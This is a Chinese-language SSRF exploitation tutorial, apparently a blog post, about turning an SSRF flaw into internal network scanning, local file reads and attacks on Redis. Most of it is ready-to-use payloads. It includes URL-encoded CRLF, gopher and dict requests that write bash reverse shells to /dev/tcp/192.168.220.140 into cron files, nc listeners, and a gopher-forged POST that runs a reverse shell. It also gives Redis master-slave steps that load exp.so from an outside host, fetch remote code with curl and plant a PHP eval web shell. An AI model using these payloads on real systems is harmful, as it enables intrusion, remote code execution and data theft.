摘要:存在ssrf漏洞的站點主要利用四個協議,分別是http、file、gopher、dict協議。
file協議拿來進行本地文件的讀取,http協議拿來進行內網的ip掃描、端口探測,如果探測到6379端口,那么可以利用http、gopher、dict這幾個協議來打開放6379端口的redis服務(一般開放了這個端口的是redis服務),原理是利用他們以目標機的身份執行對開啟redis服務的內網機執行redis命令,最后反彈shell到我們的公網ip機上。
一、進行內網探測
利用http協議對內網進行探測,探測整個內網的存活ip,和端口,如果要針對redis,那么這一步主要是找開啟了6379端口的內網ip地址。
可利用bp或者腳本進行快速探測,由於回顯的不同,腳本就需要按照回顯的特征來寫,那種回顯是存在,哪種回顯是不存在這樣的ip或端口。
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379
二、file協議讀取文件
這個協議可以讀取系統的一些存放密碼的文件,比如說linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者說ctf中的flag文件。
http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
三、攻擊redis
只要知道內網有開啟6379的redis服務(或許是其他端口開放的此服務),那么就可以利用目標機進行攻擊redis了。
第一步探測Redis我們已經完成了,那么第二部就是發送redis命令,將彈shell腳本寫入/etc/crontab中,crontab就是linux下的一個定時執行事件的一個程序。
還有兩個定時服務文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。針對這三個路徑的不同,如下會進行講解。
方法一:通過header CRLF 注入
Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入`%0a%0d`來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。
redis命令如下:
test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公網ip/監聽端口 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
這里是采用的bash反彈,在ubuntu下不會反彈成功,CentOS可以反彈成功;路徑采用的是/etc/crontab.
因為我們是通過GET來發送命令的,因此要將上面的命令進行URL編碼:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
payload1就為:
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后在自己的公網機192.168.220.140上nc監聽2333端口
nc -lvp 2333 (或nc -l 2333)
然后發送請求即可反彈shell了
方法二:通過【curl命令】和【gopher協議】遠程攻擊內網redis
gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣就可以解決漏洞點不在GET參數的問題了。
gopher協議可配合linux下的curl命令偽造POST請求包發給內網主機。
此種方法能攻擊成功的前提條件是:redis是以root權限運行的。
payload2如下:
curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
redis命令進行了兩次url編碼,這里是通過gopher協議偽造的請求包用curl命令來發送;
payload采用的是bash反彈,定時程序路徑是/var/spool/cron/root
發送請求之前在公網機192.168.220.140開啟nc監聽端口2333
nc -lvp 2333 (或nc -l 2333)
方法三:使用dict協議向Redis數據庫寫shell
關於dict協議:
> dict://serverip:port/命令:參數
> 向服務器的端口請求 命令:參數,並在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利
如果服務端不支持gopher協議,可嘗試dict協議,不過通過dict協議的話要一條一條的執行,而gopher協議執行一條命令就行了。
curl擴展也支持dict協議,可以配合curl命令發送請求,但也可以直接在瀏覽器上或者bp發包請求。
可通過以下三條命令看是否能利用dict:
/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall
這樣就代表可以成功執行命令。
- 先清除沒用的數據,防止定時任務執行失敗
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall - 利302跳轉寫入反彈命令
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234 - 設置導出路徑
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/ - 設置導出名字
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root - 導出
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save
使用burp發包,為了避免語句順序執行錯誤,故第一個包先跑20個在跑第二個包以此類推,如果是批量內網ip存在6379端口,那么C段用通配符“*”表示。
在公網機上使用nc持續監聽1234端口,等一會兒把包發完就會反彈shell。
Payload 完善修改
payload中出現ip、端口、反彈命令、定時程序路徑這些都可以根據實際情況,目標機的系統版本進行更改。
如果目標機是CentOS系統:
bash和python反彈都支持 路徑使用:/etc/crontab或者/var/spool/cron/root
如果是ubuntu系統:
支持python反彈 路徑使用:/etc/crontab或者/var/spool/cron/crontabs/root
四、結合gopher協議實現進一步攻擊
1.通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程偽造post請求反彈shell
在靶機上執行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻擊機上執行:nc -lvp 2333
post請求為:
_POST /test/ssrf/post.php HTTP/1.1 Host: 192.168.220.139 User-Agent: curl/7.42.0 Accept: */* Content-Type: application/x-www-form-urlencoded cmd=ccccc bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
將其進行url兩次編碼,然后結合gopher協議和curl命令,payload如下:
curl -v
'http://xxx.xxx.xx.xx/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'
攻擊機先運行nc命令,然后curl發送請求。
2.gopher攻擊MySQL
如果內網中的mysql數據庫存在無密碼的用戶,可結合gopher協議進行攻擊。
3.gopher攻擊fastcgi
php-fpm一般監聽在127.0.0.1的9000端口上,當存在未授權訪問漏洞時,利用 Gopher+SSRF 可以完美攻擊 FastCGI 執行任意命令。
前提:
PHP-FPM監聽端口 PHP-FPM版本 >= 5.3.3 libcurl版本>=7.45.0(curl版本小於7.45.0時,gopher的%00會被截斷) 知道服務器上任意一個php文件的絕對路徑,例如/usr/local/lib/php/PEAR.php
五、SSRF 觸發主從復制反彈 shell
操作也是很平常的操作,如同你在 redis-cli 中操作一樣
1.連接遠程主服務器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:8379
2.設置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3.載入 exp.so
/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4.斷開主從
/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5.恢復原始文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6.執行命令
/api/test/http_get?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
7.反彈 shell
/api/test/http_get?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
利用主從寫shell:
1.連接遠程主服務器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:2323
2.設置保存路徑
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
設置shell內容
/api/test/http_get?url=dict://127.0.0.1:6379/
set:xxx:"\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
3.設置保存文件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
4.保存
/api/test/http_get?url=dict://127.0.0.1:6379/save
5.斷開主從
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one
ssrf常用的攻擊方式大概就這些了,當然有些師傅有自己獨特的騷姿勢。
參考鏈接:https://www.cnblogs.com/flokz/category/1558049.html
https://xz.aliyun.com/t/1800#toc-3
https://www.jianshu.com/p/fd27f0eedccf
http://www.secwk.com/2019/10/10/10017/
https://www.t00ls.net/articles-56339.html